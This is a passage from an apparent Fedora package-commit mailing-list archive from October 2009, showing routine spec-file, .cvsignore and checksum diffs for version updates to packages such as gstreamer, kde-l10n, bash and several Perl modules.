@@ -46,6 +46,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Mon Oct 05 2009 Iain Arnell <iarnell at gmail.com> 1.73-1
+- update to latest upstream
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.72a-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Number-Format/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	14 May 2009 03:42:29 -0000	1.3
+++ sources	5 Oct 2009 15:49:44 -0000	1.4
@@ -1 +1 @@
-03c5692dd75f6ca63e325ab9d3f16c7b  Number-Format-1.72a.tar.gz
+3a4188de6e84b04361def285b93dc240  Number-Format-1.73.tar.gz



From ajax at fedoraproject.org  Mon Oct  5 15:51:32 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon,  5 Oct 2009 15:51:32 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/F-12 intel-2.8.0-build-fix.patch, 1.1,
	NONE intel-2.8.0-shadow-no-offset.patch, 1.1,
	NONE intel-abi-fix.patch, 1.1, NONE intel-chip-names.patch, 1.1, NONE
Message-ID: <20091005155132.BF0B411C00DB@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31927

Removed Files:
	intel-2.8.0-build-fix.patch intel-2.8.0-shadow-no-offset.patch 
	intel-abi-fix.patch intel-chip-names.patch 
Log Message:
delete unused patches


--- intel-2.8.0-build-fix.patch DELETED ---


--- intel-2.8.0-shadow-no-offset.patch DELETED ---


--- intel-abi-fix.patch DELETED ---


--- intel-chip-names.patch DELETED ---



From than at fedoraproject.org  Mon Oct  5 15:53:00 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 15:53:00 +0000 (UTC)
Subject: rpms/oxygen-icon-theme/devel .cvsignore, 1.10,
	1.11 oxygen-icon-theme.spec, 1.9, 1.10 sources, 1.9, 1.10
Message-ID: <20091005155300.0D9C011C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/oxygen-icon-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32212

Modified Files:
	.cvsignore oxygen-icon-theme.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	2 Sep 2009 11:48:02 -0000	1.10
+++ .cvsignore	5 Oct 2009 15:52:58 -0000	1.11
@@ -1 +1,2 @@
 oxygen-icons-4.3.1.tar.bz2
+oxygen-icons-4.3.2.tar.bz2


Index: oxygen-icon-theme.spec
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/devel/oxygen-icon-theme.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- oxygen-icon-theme.spec	28 Aug 2009 20:06:53 -0000	1.9
+++ oxygen-icon-theme.spec	5 Oct 2009 15:52:59 -0000	1.10
@@ -1,6 +1,6 @@
 Name:          oxygen-icon-theme 
 Summary:       Oxygen icon theme 
-Version:       4.3.1
+Version:       4.3.2
 Release:       1%{?dist}
 
 License:       LGPLv3+ 
@@ -66,6 +66,9 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/oxygen-icon-theme/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	28 Aug 2009 20:06:53 -0000	1.9
+++ sources	5 Oct 2009 15:52:59 -0000	1.10
@@ -1 +1 @@
-bd3f2feb4f99c99d15cae7f27c3f452d  oxygen-icons-4.3.1.tar.bz2
+6f5b700a65720f44d895a10049bbc05c  oxygen-icons-4.3.2.tar.bz2



From rrakus at fedoraproject.org  Mon Oct  5 16:00:12 2009
From: rrakus at fedoraproject.org (Roman Rakus)
Date: Mon,  5 Oct 2009 16:00:12 +0000 (UTC)
Subject: rpms/bash/devel bash.spec,1.190,1.191
Message-ID: <20091005160012.1A45311C02A2@cvs1.fedora.phx.redhat.com>

Author: rrakus

Update of /cvs/extras/rpms/bash/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3432/devel

Modified Files:
	bash.spec 
Log Message:
Make symlink from bashbug-suffix to bashbug man pages


Index: bash.spec
===================================================================
RCS file: /cvs/extras/rpms/bash/devel/bash.spec,v
retrieving revision 1.190
retrieving revision 1.191
diff -u -p -r1.190 -r1.191
--- bash.spec	16 Sep 2009 10:07:26 -0000	1.190
+++ bash.spec	5 Oct 2009 16:00:11 -0000	1.191
@@ -5,7 +5,7 @@
 Version: %{baseversion}%{patchlevel}
 Name: bash
 Summary: The GNU Bourne Again shell
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group: System Environment/Shells
 License: GPLv2+
 Url: http://www.gnu.org/software/bash
@@ -233,6 +233,7 @@ install -c -m644 %SOURCE3 $RPM_BUILD_ROO
 LONG_BIT=$(getconf LONG_BIT)
 mv $RPM_BUILD_ROOT%{_bindir}/bashbug \
    $RPM_BUILD_ROOT%{_bindir}/bashbug-"${LONG_BIT}"
+ln -s bashbug.1 $RPM_BUILD_ROOT/%{_mandir}/man1/bashbug-"$LONG_BIT".1
 
 # Fix missing sh-bangs in example scripts (bug #225609).
 for script in \
@@ -323,6 +324,9 @@ fi
 #%doc doc/*.ps doc/*.0 doc/*.html doc/article.txt
 
 %changelog
+* Mon Oct 05 2009 Roman Rakus <rrakus at redhat.com> - 4.0.33-2
+- Make symlink from bashbug-suffix to bashbug man pages
+
 * Wed Sep 16 2009 Roman Rakus <rrakus at redhat.com> - 4.0.33-1
 - Patch level 33
 - spec file cleanup



From hadess at fedoraproject.org  Mon Oct  5 16:11:32 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 16:11:32 +0000 (UTC)
Subject: rpms/gstreamer/devel .cvsignore, 1.43, 1.44 gstreamer.spec, 1.105, 
	1.106 sources, 1.44, 1.45
Message-ID: <20091005161132.F06B611C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10767

Modified Files:
	.cvsignore gstreamer.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
- Update to 0.10.25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/.cvsignore,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- .cvsignore	1 Oct 2009 16:55:20 -0000	1.43
+++ .cvsignore	5 Oct 2009 16:11:32 -0000	1.44
@@ -1 +1 @@
-gstreamer-0.10.24.4.tar.bz2
+gstreamer-0.10.25.tar.bz2


Index: gstreamer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/gstreamer.spec,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- gstreamer.spec	1 Oct 2009 16:55:20 -0000	1.105
+++ gstreamer.spec	5 Oct 2009 16:11:32 -0000	1.106
@@ -5,7 +5,7 @@
 %define 	_libxml2	2.4.0
 
 Name: 		%{gstreamer}
-Version: 	0.10.24.4
+Version: 	0.10.25
 Release: 	1%{?dist}
 Summary: 	GStreamer streaming media framework runtime
 
@@ -211,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_sysconfdir}/rpm/macros.gstreamer
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
+- Update to 0.10.25
+
 * Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24.4-1
 - Update to pre-release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/devel/sources,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- sources	1 Oct 2009 16:55:20 -0000	1.44
+++ sources	5 Oct 2009 16:11:32 -0000	1.45
@@ -1 +1 @@
-df8d198a2bb3e4976a554378dec69c7c  gstreamer-0.10.24.4.tar.bz2
+88544e034a051baf472983791d233076  gstreamer-0.10.25.tar.bz2



From kasal at fedoraproject.org  Mon Oct  5 16:11:43 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:11:43 +0000 (UTC)
Subject: rpms/perl-Business-ISBN-Data/devel .cvsignore, 1.3,
	1.4 perl-Business-ISBN-Data.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091005161143.77B8B11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Business-ISBN-Data/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10942

Modified Files:
	.cvsignore perl-Business-ISBN-Data.spec sources 
Log Message:
- new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	24 Nov 2008 15:09:34 -0000	1.3
+++ .cvsignore	5 Oct 2009 16:11:43 -0000	1.4
@@ -1 +1 @@
-Business-ISBN-Data-20081020.tar.gz
+Business-ISBN-Data-20081208.tar.gz


Index: perl-Business-ISBN-Data.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/devel/perl-Business-ISBN-Data.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Business-ISBN-Data.spec	26 Jul 2009 03:52:58 -0000	1.6
+++ perl-Business-ISBN-Data.spec	5 Oct 2009 16:11:43 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           perl-Business-ISBN-Data
-Version:        20081020
-Release:        3%{?dist}
+Version:        20081208
+Release:        1%{?dist}
 Summary:        The data pack for Business::ISBN
 
 Group:          Development/Libraries
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 20081208-1
+- new upstream version
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 20081020-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Business-ISBN-Data/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	24 Nov 2008 15:09:34 -0000	1.3
+++ sources	5 Oct 2009 16:11:43 -0000	1.4
@@ -1 +1 @@
-81e3b403f7bbdd77010f078d06a04548  Business-ISBN-Data-20081020.tar.gz
+e8edb53f04830344e20f61b02b6ed054  Business-ISBN-Data-20081208.tar.gz



From than at fedoraproject.org  Mon Oct  5 16:13:58 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 16:13:58 +0000 (UTC)
Subject: rpms/kde-l10n/devel .cvsignore, 1.29, 1.30 kde-l10n.spec, 1.97,
	1.98 sources, 1.33, 1.34
Message-ID: <20091005161358.C6B6F11C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kde-l10n/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11862

Modified Files:
	.cvsignore kde-l10n.spec sources 
Log Message:
4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	4 Sep 2009 23:05:27 -0000	1.29
+++ .cvsignore	5 Oct 2009 16:13:58 -0000	1.30
@@ -335,3 +335,60 @@ kde-l10n-wa-4.3.1.tar.bz2
 kde-l10n-zh_CN-4.3.1.tar.bz2
 kde-l10n-zh_TW-4.3.1.tar.bz2
 kde-l10n-hr-4.3.1.tar.bz2
+kde-l10n-ar-4.3.2.tar.bz2
+kde-l10n-bg-4.3.2.tar.bz2
+kde-l10n-bn_IN-4.3.2.tar.bz2
+kde-l10n-ca-4.3.2.tar.bz2
+kde-l10n-csb-4.3.2.tar.bz2
+kde-l10n-cs-4.3.2.tar.bz2
+kde-l10n-da-4.3.2.tar.bz2
+kde-l10n-de-4.3.2.tar.bz2
+kde-l10n-el-4.3.2.tar.bz2
+kde-l10n-en_GB-4.3.2.tar.bz2
+kde-l10n-es-4.3.2.tar.bz2
+kde-l10n-et-4.3.2.tar.bz2
+kde-l10n-eu-4.3.2.tar.bz2
+kde-l10n-fi-4.3.2.tar.bz2
+kde-l10n-fr-4.3.2.tar.bz2
+kde-l10n-ga-4.3.2.tar.bz2
+kde-l10n-gl-4.3.2.tar.bz2
+kde-l10n-gu-4.3.2.tar.bz2
+kde-l10n-he-4.3.2.tar.bz2
+kde-l10n-hi-4.3.2.tar.bz2
+kde-l10n-hr-4.3.2.tar.bz2
+kde-l10n-hu-4.3.2.tar.bz2
+kde-l10n-is-4.3.2.tar.bz2
+kde-l10n-it-4.3.2.tar.bz2
+kde-l10n-ja-4.3.2.tar.bz2
+kde-l10n-kk-4.3.2.tar.bz2
+kde-l10n-km-4.3.2.tar.bz2
+kde-l10n-kn-4.3.2.tar.bz2
+kde-l10n-ko-4.3.2.tar.bz2
+kde-l10n-ku-4.3.2.tar.bz2
+kde-l10n-lt-4.3.2.tar.bz2
+kde-l10n-lv-4.3.2.tar.bz2
+kde-l10n-mai-4.3.2.tar.bz2
+kde-l10n-mk-4.3.2.tar.bz2
+kde-l10n-ml-4.3.2.tar.bz2
+kde-l10n-mr-4.3.2.tar.bz2
+kde-l10n-nb-4.3.2.tar.bz2
+kde-l10n-nds-4.3.2.tar.bz2
+kde-l10n-nl-4.3.2.tar.bz2
+kde-l10n-nn-4.3.2.tar.bz2
+kde-l10n-pa-4.3.2.tar.bz2
+kde-l10n-pl-4.3.2.tar.bz2
+kde-l10n-pt_BR-4.3.2.tar.bz2
+kde-l10n-pt-4.3.2.tar.bz2
+kde-l10n-ro-4.3.2.tar.bz2
+kde-l10n-ru-4.3.2.tar.bz2
+kde-l10n-sk-4.3.2.tar.bz2
+kde-l10n-sl-4.3.2.tar.bz2
+kde-l10n-sr-4.3.2.tar.bz2
+kde-l10n-sv-4.3.2.tar.bz2
+kde-l10n-tg-4.3.2.tar.bz2
+kde-l10n-th-4.3.2.tar.bz2
+kde-l10n-tr-4.3.2.tar.bz2
+kde-l10n-uk-4.3.2.tar.bz2
+kde-l10n-wa-4.3.2.tar.bz2
+kde-l10n-zh_CN-4.3.2.tar.bz2
+kde-l10n-zh_TW-4.3.2.tar.bz2


Index: kde-l10n.spec
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/devel/kde-l10n.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- kde-l10n.spec	4 Oct 2009 16:07:57 -0000	1.97
+++ kde-l10n.spec	5 Oct 2009 16:13:58 -0000	1.98
@@ -1,8 +1,8 @@
 %define buildall 0
 
 Name: kde-l10n
-Version: 4.3.1
-Release: 3%{dist}
+Version: 4.3.2
+Release: 1%{dist}
 Url: http://www.kde.org
 Summary: Internationalization support for KDE
 Group: User Interface/Desktops
@@ -1498,6 +1498,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
 - main virtual subpkg
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kde-l10n/devel/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	4 Sep 2009 23:05:27 -0000	1.33
+++ sources	5 Oct 2009 16:13:58 -0000	1.34
@@ -1,57 +1,57 @@
-c8c1693b21bb3bde8903247288fd3859  kde-l10n-ar-4.3.1.tar.bz2
-fdc30435d4ac28b6113e9add14d728f3  kde-l10n-bg-4.3.1.tar.bz2
-c95e4fbb0ef37dfebedb7e0df62c9683  kde-l10n-bn_IN-4.3.1.tar.bz2
-18cf7a34ce6d7ffa4c38a56cb17e0fbb  kde-l10n-ca-4.3.1.tar.bz2
-bf81e4c48b250d3c8f1ecbfb80377a59  kde-l10n-csb-4.3.1.tar.bz2
-62d5a25f8f3cc2b2004525ecd69716a8  kde-l10n-cs-4.3.1.tar.bz2
-ec96cfdb8516e4d2db83a65bf403a421  kde-l10n-da-4.3.1.tar.bz2
-d379f16c94661c8068b068f8f58d1d40  kde-l10n-de-4.3.1.tar.bz2
-8ac584b59a437082a57e7be3d473f90e  kde-l10n-el-4.3.1.tar.bz2
-6968cf5e2a49aa21758115051c5f4940  kde-l10n-en_GB-4.3.1.tar.bz2
-31b3f07ce55dc8aae6bec971f338bcf3  kde-l10n-es-4.3.1.tar.bz2
-0dae18323c2c4ea560fd7bc25ecddffb  kde-l10n-et-4.3.1.tar.bz2
-eecc074d5328fb1429a9d1ac36bf96f0  kde-l10n-eu-4.3.1.tar.bz2
-34bd78b5686ab86335b2074468a95822  kde-l10n-fi-4.3.1.tar.bz2
-f6479abd82fafc1b32660d724a20cd35  kde-l10n-fr-4.3.1.tar.bz2
-e61c44e6f25efc33c02b1af0fc61076b  kde-l10n-ga-4.3.1.tar.bz2
-9104d134a008c1a0e610084139768a27  kde-l10n-gl-4.3.1.tar.bz2
-3134ea1fa9069e735ae884ec53ff51fa  kde-l10n-gu-4.3.1.tar.bz2
-e7c36e7bfac29b6f35e5f9f595bd3fee  kde-l10n-he-4.3.1.tar.bz2
-e6ef88ac651f31527fde274030fe29ae  kde-l10n-hi-4.3.1.tar.bz2
-f535c3f52fe6fd6dd62f47cf3b050c72  kde-l10n-hu-4.3.1.tar.bz2
-1ffcfc820005647e0a005e263a9f1805  kde-l10n-is-4.3.1.tar.bz2
-66db81f855de8c62c077361dab4eeb1c  kde-l10n-it-4.3.1.tar.bz2
-15e9b5a45a6236139342151e2a80b6cc  kde-l10n-ja-4.3.1.tar.bz2
-7673863d17d0c8b959eff3e8cef7eb5c  kde-l10n-kk-4.3.1.tar.bz2
-1edb34c62a7267f2e0ab221f16c87f97  kde-l10n-km-4.3.1.tar.bz2
-f9d545f3adbf0917dce523555319d6cd  kde-l10n-kn-4.3.1.tar.bz2
-a1bc1560b7c20d2e1bd9e3004b2a75f7  kde-l10n-ko-4.3.1.tar.bz2
-8e471b1e2af1c6cf4ee2c94fe0e61068  kde-l10n-ku-4.3.1.tar.bz2
-f22f07e005140407de1c91f5e8c6b014  kde-l10n-lt-4.3.1.tar.bz2
-870daf8a524c2540bf68b7db0a40b418  kde-l10n-lv-4.3.1.tar.bz2
-16ab057fbe49091a1b1b165c68748c63  kde-l10n-mai-4.3.1.tar.bz2
-225c1583a846661569e43073164de493  kde-l10n-mk-4.3.1.tar.bz2
-2098d129f0f337436ddfa8deec1fb01a  kde-l10n-ml-4.3.1.tar.bz2
-f9fb45491de0c96399cd0032939b051b  kde-l10n-mr-4.3.1.tar.bz2
-7c61e71082eb4f5ac795a7de4b7d2901  kde-l10n-nb-4.3.1.tar.bz2
-c6ad03ce2427d9729ff4cd64c6451ade  kde-l10n-nds-4.3.1.tar.bz2
-0a8a5be7c7c8810a46c19b4c164e6c53  kde-l10n-nl-4.3.1.tar.bz2
-20bf0fadb09e63d24f8032ac873e8bbc  kde-l10n-nn-4.3.1.tar.bz2
-b40dd8e5a6cf56b8cce539ffa1d0bcc7  kde-l10n-pa-4.3.1.tar.bz2
-695910cebb609f309a5f9d3e8ddbb9d6  kde-l10n-pt_BR-4.3.1.tar.bz2
-57437289c3e058f44e60fb8fa452445d  kde-l10n-pt-4.3.1.tar.bz2
-3526fd6b5c1700aad12a3c13e67d2758  kde-l10n-ro-4.3.1.tar.bz2
-656297b8627cf9bc1db089654c674d32  kde-l10n-ru-4.3.1.tar.bz2
-b096baa157d4bcf5f01f8a6d5a1ee405  kde-l10n-sk-4.3.1.tar.bz2
-f1019fbba6989d90b3512bab1bb3a436  kde-l10n-sl-4.3.1.tar.bz2
-08835b959267532a05de9805ff07935a  kde-l10n-sr-4.3.1.tar.bz2
-02168b49698842860329b3de9ff19487  kde-l10n-sv-4.3.1.tar.bz2
-1eb1ca133761be4ff4ce3d0e7f256c97  kde-l10n-tg-4.3.1.tar.bz2
-555af7ceff07e1aaa15f7e0c2a8cf2cc  kde-l10n-th-4.3.1.tar.bz2
-f705391dccc8557e0d9b874c0c2d3597  kde-l10n-tr-4.3.1.tar.bz2
-6bafe18044438254e118bb97319bff6d  kde-l10n-uk-4.3.1.tar.bz2
-8647f0ac0335a6894d39e0fb93bc3af5  kde-l10n-wa-4.3.1.tar.bz2
-44f8d8587820c9e206ff1e2cccf6f8bf  kde-l10n-zh_CN-4.3.1.tar.bz2
-2cb73314fdb32800bcd254bd84ed45c8  kde-l10n-zh_TW-4.3.1.tar.bz2
-7c341ebe674c954ca3e507545953a49b  kde-l10n-pl-4.3.1.tar.bz2
-7aace91ae8acd9333541eeed5438e45a  kde-l10n-hr-4.3.1.tar.bz2
+845a87a6fb8e274b9faf2b3e8ae05145  kde-l10n-ar-4.3.2.tar.bz2
+3330acdacb9ea687b3c883c5e175f3d7  kde-l10n-bg-4.3.2.tar.bz2
+3a646527d0d0a403797099787c987d12  kde-l10n-bn_IN-4.3.2.tar.bz2
+0df7312f62deabb6231135bc33f11f7a  kde-l10n-ca-4.3.2.tar.bz2
+d80aa0c3f1ff780328d3ac482da5d5aa  kde-l10n-csb-4.3.2.tar.bz2
+5e8218126b5529e6198a8fc4677ab2ed  kde-l10n-cs-4.3.2.tar.bz2
+5cd8285c55d39c0d74f74bdda3634f69  kde-l10n-da-4.3.2.tar.bz2
+af19e1c28b6cb27ae6928f9080ff67bc  kde-l10n-de-4.3.2.tar.bz2
+0f23ad4490306b55e2382883a3d03fae  kde-l10n-el-4.3.2.tar.bz2
+82fcc17d3927235cff6c683b12bfc46c  kde-l10n-en_GB-4.3.2.tar.bz2
+997dd53c79aceea07ba1f46b81edb1f3  kde-l10n-es-4.3.2.tar.bz2
+7528c8189ed344e129ca87474c908d7b  kde-l10n-et-4.3.2.tar.bz2
+c313a881d5d4275e78da42624c7d2b72  kde-l10n-eu-4.3.2.tar.bz2
+9bfd2944045e87b005f6c67e6f70b228  kde-l10n-fi-4.3.2.tar.bz2
+ef7f3a2bcc29b31af739265a70cd01e2  kde-l10n-fr-4.3.2.tar.bz2
+2763e1ad527205160997684e8fdba0a0  kde-l10n-ga-4.3.2.tar.bz2
+a8056265e3838efca737abd6986718be  kde-l10n-gl-4.3.2.tar.bz2
+592322e3f755067c9bff960fb96948e2  kde-l10n-gu-4.3.2.tar.bz2
+02d68df9f8717d277a384b15d372aeed  kde-l10n-he-4.3.2.tar.bz2
+bc4225d8eeb2c648354eec1a79bb3558  kde-l10n-hi-4.3.2.tar.bz2
+2628f02cb3e1fd20d678437101470645  kde-l10n-hr-4.3.2.tar.bz2
+3ccdb46e3005bde325c45334d0073470  kde-l10n-hu-4.3.2.tar.bz2
+900a15881c7377f7921bbb0df3caf729  kde-l10n-is-4.3.2.tar.bz2
+3cfbb949b349a906f57def2c89f2c2ae  kde-l10n-it-4.3.2.tar.bz2
+1ca9a0e6f75ef439b1dc88d7c296a8a3  kde-l10n-ja-4.3.2.tar.bz2
+791fb8901976bbc36b39ec2b2d7f6029  kde-l10n-kk-4.3.2.tar.bz2
+81715c650925f13710a8d1b392bebe12  kde-l10n-km-4.3.2.tar.bz2
+042925c6ed9cadc79724bee269ee0f65  kde-l10n-kn-4.3.2.tar.bz2
+7d647e695d3d2876a7e13505b031d5db  kde-l10n-ko-4.3.2.tar.bz2
+15780380183dc634432a5ccb8ec2d64d  kde-l10n-ku-4.3.2.tar.bz2
+38f82eed9070bbeabdb51a4896b9d163  kde-l10n-lt-4.3.2.tar.bz2
+65ee66d320e3ebaff80ceb99b1bad57f  kde-l10n-lv-4.3.2.tar.bz2
+e640d6641063ea5d456e0d7cebec1076  kde-l10n-mai-4.3.2.tar.bz2
+9b766deb486b27d1352a74692080bd75  kde-l10n-mk-4.3.2.tar.bz2
+f67feb93c8623950e764e2462797194c  kde-l10n-ml-4.3.2.tar.bz2
+d5bce17fb1035cd120c9ae010210ddf9  kde-l10n-mr-4.3.2.tar.bz2
+8c0546118de40edb0f1bc94cc039b5b6  kde-l10n-nb-4.3.2.tar.bz2
+85b56e0f003c1120ff594cc5c15be857  kde-l10n-nds-4.3.2.tar.bz2
+dcfae722fdffbf206f1eca58351929b8  kde-l10n-nl-4.3.2.tar.bz2
+ab6bdb6c5f24a94854d3d86f53719ec8  kde-l10n-nn-4.3.2.tar.bz2
+c59e70fc4a903465e5c249001d0da9a9  kde-l10n-pa-4.3.2.tar.bz2
+cbfce0042af8a9990da704d1235482dc  kde-l10n-pl-4.3.2.tar.bz2
+4816f831c718dc5ec46aa2061e426b6c  kde-l10n-pt_BR-4.3.2.tar.bz2
+f4bbea70d7b3b4ddfe35da223bd0d71d  kde-l10n-pt-4.3.2.tar.bz2
+d2ce5f6159812a46be8bd90450a40d67  kde-l10n-ro-4.3.2.tar.bz2
+a305436d6b05dcd7c50df6fa9da57797  kde-l10n-ru-4.3.2.tar.bz2
+e991a942e6257151bea80f79e23c376d  kde-l10n-sk-4.3.2.tar.bz2
+b8ff0a9ff8e57a7d4b569e0447870604  kde-l10n-sl-4.3.2.tar.bz2
+928477630a257358e96bf8952cd1afd1  kde-l10n-sr-4.3.2.tar.bz2
+214f1215d14173a48513ccb89562c9e0  kde-l10n-sv-4.3.2.tar.bz2
+c9d0fad8838646d324390d60ff61ae3f  kde-l10n-tg-4.3.2.tar.bz2
+3dd5b9046b73cca4969b5b7c13538a8c  kde-l10n-th-4.3.2.tar.bz2
+bc4b5a8f76ec00860b31e0cb487ec675  kde-l10n-tr-4.3.2.tar.bz2
+cdaa98c18c7c484fa1133e35e188f18d  kde-l10n-uk-4.3.2.tar.bz2
+dfee77469f5a35e1eb464c162ae0c085  kde-l10n-wa-4.3.2.tar.bz2
+51313b7654a381ad22c2c467129bc331  kde-l10n-zh_CN-4.3.2.tar.bz2
+ccf254b30c4286a7980aebf2e3b98cc1  kde-l10n-zh_TW-4.3.2.tar.bz2



From kasal at fedoraproject.org  Mon Oct  5 16:17:16 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:17:16 +0000 (UTC)
Subject: rpms/perl-Authen-SASL/devel perl-Authen-SASL.spec,1.13,1.14
Message-ID: <20091005161716.7376011C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Authen-SASL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13531

Modified Files:
	perl-Authen-SASL.spec 
Log Message:
BR Test::More


Index: perl-Authen-SASL.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Authen-SASL/devel/perl-Authen-SASL.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- perl-Authen-SASL.spec	5 Oct 2009 15:40:00 -0000	1.13
+++ perl-Authen-SASL.spec	5 Oct 2009 16:17:16 -0000	1.14
@@ -11,6 +11,7 @@ BuildArch:      noarch
 BuildRequires:  perl(ExtUtils::MakeMaker)
 BuildRequires:  perl(Digest::HMAC)
 BuildRequires:  perl(GSSAPI)
+BuildRequires:  perl(Test::More)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -49,7 +50,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Mon Oct  5 2009 Stepan Kasal <skasal at redhat.com> - 2.13-1
-- new upstream version
+- new upstream version, BR Test::More
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From kasal at fedoraproject.org  Mon Oct  5 16:20:36 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon,  5 Oct 2009 16:20:36 +0000 (UTC)
Subject: rpms/perl-Array-Compare/devel perl-Array-Compare.spec,1.13,1.14
Message-ID: <20091005162036.AD9FE11C02A0@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Array-Compare/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15279

Modified Files:
	perl-Array-Compare.spec 
Log Message:
BR perl(Moose)


Index: perl-Array-Compare.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Array-Compare/devel/perl-Array-Compare.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- perl-Array-Compare.spec	5 Oct 2009 15:34:42 -0000	1.13
+++ perl-Array-Compare.spec	5 Oct 2009 16:20:36 -0000	1.14
@@ -10,7 +10,7 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(Module::Build)
